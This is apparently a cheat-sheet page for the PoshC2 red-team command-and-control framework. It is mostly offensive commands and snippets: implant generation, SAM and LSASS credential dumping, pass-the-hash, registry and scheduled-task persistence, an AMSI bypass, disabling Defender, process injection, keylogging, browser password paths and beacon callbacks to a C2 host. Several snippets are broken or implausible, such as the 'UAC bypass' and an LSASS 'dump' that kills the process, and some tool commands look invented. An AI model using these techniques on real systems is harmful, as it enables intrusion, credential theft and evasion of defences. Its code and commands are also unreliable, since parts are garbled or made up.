Salta ai contenuti

PoshC2 Python

PoshC2 is a lightweight Python/PowerShell C2 framework designed for red team engagements. It uses HTTP/HTTPS for communications and provides cross-platform compatibility.

Installation

Python Environment

# Clone repository
git clone https://github.com/nettitude/PoshC2_Python.git
cd PoshC2_Python

# Install dependencies
pip install -r requirements.txt

# Generate server certificate
python3 -c "import ssl; ssl.create_default_context().wrap_socket" 2>/dev/null
python3 poshc2.py --generate-cert

Docker

docker build -t poshc2:latest .
docker run -it -v ~/.poshc2:/root/.poshc2 poshc2:latest

Server Setup

# Start PoshC2 server
python3 poshc2.py --server

# Specify port
python3 poshc2.py --server --port 443

# Load previous sessions
python3 poshc2.py --server --load-config

Implant Generation

Windows Implant

# Generate PowerShell stager
poshc2 > create-implant powershell windows

# Generate obfuscated stager
poshc2 > create-implant powershell windows --obfuscate

# Create backdoored executable
poshc2 > create-implant exe windows --c2-url https://192.168.1.100:443

Linux/macOS

# Linux bash implant
poshc2 > create-implant bash linux

# Python implant
poshc2 > create-implant python linux

Module Development

Custom Module Creation

# Create reconnaissance module
poshc2 > create-module recon whoami

# Create exfiltration module
poshc2 > create-module exfil screenshot

# Create privilege escalation module
poshc2 > create-module privesc token-steal

Module Directory

modules/
├── recon/
│   ├── Get-SystemInfo.ps1
│   ├── Get-ProcessList.ps1
│   └── Get-NetworkInfo.ps1
├── lateral/
│   ├── Invoke-PSExec.ps1
│   └── Invoke-WMI.ps1
├── persistence/
│   ├── Install-Registry.ps1
│   └── Install-Task.ps1
└── evasion/
    ├── Bypass-UAC.ps1
    └── Disable-Defender.ps1

Implant Commands

Basic Operations

# Execute command
[c2] > cmd whoami

# PowerShell execution
[c2] > powershell Get-LocalUser

# Inline C# execution
[c2] > csharp System.Diagnostics.Process.GetCurrentProcess().Id

# Load module
[c2] > Load-Module recon/Get-SystemInfo.ps1

# Run module
[c2] > Invoke-GetSystemInfo

File Operations

# Download file
[c2] > Download C:\Windows\System32\config\SAM /tmp/SAM

# Upload file
[c2] > Upload /tmp/payload.exe C:\Windows\Temp\

# List directory
[c2] > ls C:\Users\

# Create directory
[c2] > mkdir C:\Temp\work

Process Management

# List processes
[c2] > Get-Process

# Kill process
[c2] > Stop-Process 1234

# Execute process
[c2] > New-Process cmd.exe

# Process injection
[c2] > Invoke-Injection 1234 /tmp/shellcode.bin

Reconnaissance Modules

System Information

# Get-SystemInfo.ps1
Get-ComputerInfo | Select-Object CsName, WindowsVersion
Get-WmiObject Win32_OperatingSystem | Select-Object Caption, BuildNumber

# Get-EnvironmentInfo.ps1
Get-ChildItem Env: | Select-Object Name, Value

# Get-ProcessList.ps1
Get-Process | Select-Object Id, ProcessName, Memory

Network Reconnaissance

# Get-NetworkInfo.ps1
Get-NetAdapter | Select-Object Name, MacAddress, Status
Get-NetIPConfiguration | Select-Object IPv4Address, IPv6Address

# Get-DNSInfo.ps1
Resolve-DnsName -Name example.com
nslookup example.com

# Get-OpenPorts.ps1
Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort

Domain Enumeration

# Get-DomainUsers.ps1
Get-ADUser -Filter * -Properties * | Select-Object Name, Enabled

# Get-DomainGroups.ps1
Get-ADGroup -Filter * | Select-Object Name, GroupScope

# Get-DomainAdmins.ps1
Get-ADGroupMember "Domain Admins" | Select-Object Name, SamAccountName

# Get-Shares.ps1
Get-SmbShare | Select-Object Name, Path

Lateral Movement

Pass-the-Hash

[c2] > Invoke-PsExec -ComputerName target.local -Username DOMAIN\user -Hash ntlmhash -Command cmd.exe

WMI Execution

[c2] > Invoke-WMI -ComputerName target.local -Username DOMAIN\user -Password password -Command "whoami"

Service Installation

[c2] > New-Service -Name "Update" -BinaryPathName "C:\Temp\beacon.exe" -StartupType Automatic

Persistence Mechanisms

Scheduled Task

# Install-ScheduledTask.ps1
$trigger = New-ScheduledTaskTrigger -AtStartup
$action = New-ScheduledTaskAction -Execute "C:\Temp\beacon.exe"
Register-ScheduledTask -TaskName "Update" -Trigger $trigger -Action $action

Registry Run Key

# Install-Registry.ps1
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Temp\beacon.exe"

WMI Event Subscription

# Install-WMIEvent.ps1
$action = New-WmiEventAction -EventDeliveryAction "C:\Temp\beacon.exe"
Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance ISA 'Win32_Process'" -Action $action

Defense Evasion

UAC Bypass

# Bypass-UAC.ps1
# Token duplication method
$method = [Reflection.BindingFlags]"NonPublic,Static"
[System.Diagnostics.ProcessThread]::GetMethod("SetThreadToken", $method).Invoke($null, @($null, @([System.IntPtr]::Zero)))

AMSI Bypass

# Disable-AMSI.ps1
$ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$ref.GetField('amsiSession',[Reflection.BindingFlags]'NonPublic,Static').SetValue($null, $null)

Defender Disable

# Disable-Defender.ps1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1

Process Injection

# Invoke-Injection.ps1
[DllImport('kernel32.dll')] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

Credential Dumping

SAM Database

# Dump-SAM.ps1
Copy-Item C:\Windows\System32\config\SAM C:\Temp\SAM
Copy-Item C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

LSASS Memory

# Invoke-MiniDump.ps1
$proc = Get-Process lsass
$handle = [Reflection.Assembly]::LoadWithPartialName("System.Management").GetType("System.Diagnostics.ProcessModule")
$proc | Stop-Process -Force  # Not recommended - use MiniDump instead

Vault Credentials

# Get-VaultCredentials.ps1
Get-StoredCredential -AsCredentialObject | Select-Object UserName, Password

Data Exfiltration

Screenshot Capture

# Take-Screenshot.ps1
Add-Type -AssemblyName System.Windows.Forms
$bitmap = New-Object System.Drawing.Bitmap(1920, 1080)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$bitmap.Save("C:\Temp\screenshot.png")

Keystroke Logging

# Start-KeyLogger.ps1
$hookId = $null
[DllImport('user32.dll', SetLastError = $true)] extern static IntPtr SetWindowsHookEx(int idHook, [MarshalAs(UnmanagedType.FunctionPtr)] HookProc lpfn, IntPtr hMod, uint dwThreadId);
# ... hook implementation

Browser Data

# Get-BrowserData.ps1
# Chrome passwords
$chromeDb = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data"
# Firefox
$firefoxPath = "$env:APPDATA\Mozilla\Firefox"

C2 Communications

HTTP Callback

# poshc2_client.py
import requests

url = "https://192.168.1.100:443/check"
data = {"beacon_id": "ABC123", "status": "alive"}
response = requests.post(url, json=data, verify=False)

Custom Protocol

# custom_protocol.py
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.100', 443))
sock.send(b'BEACON_CHECKIN')
response = sock.recv(1024)

Session Management

# List sessions
poshc2 > sessions

# Interact with session
poshc2 > interact <session_id>

# Set sleep interval
[c2] > sleep 60

# Rename beacon
[c2] > rename "Web Server - DC"

# Tasking
[c2] > task <module_name> <parameters>

# Clear task queue
[c2] > clear-tasks

Logging and Reporting

# View command history
poshc2 > history

# Export session logs
poshc2 > export-logs --session <id> --format csv

# Generate report
poshc2 > generate-report --output report.html

# Log to file
poshc2 > set-logging /tmp/poshc2.log

Troubleshooting

# Check beacon connectivity
[c2] > check-connection

# View beacon status
[c2] > status

# Clear dead sessions
poshc2 > cleanup-dead

# Debug mode
python3 poshc2.py --server --debug

# View server logs
tail -f ~/.poshc2/logs/poshc2.log

Best Practices

  • Regularly rotate C2 infrastructure
  • Use HTTPS with valid certificates
  • Implement task queuing for stealth
  • Monitor for beacon activity patterns
  • Clean up after engagement
  • Test modules in lab environment first
  • Use appropriate sleep intervals
  • Implement proper OPSEC

Resources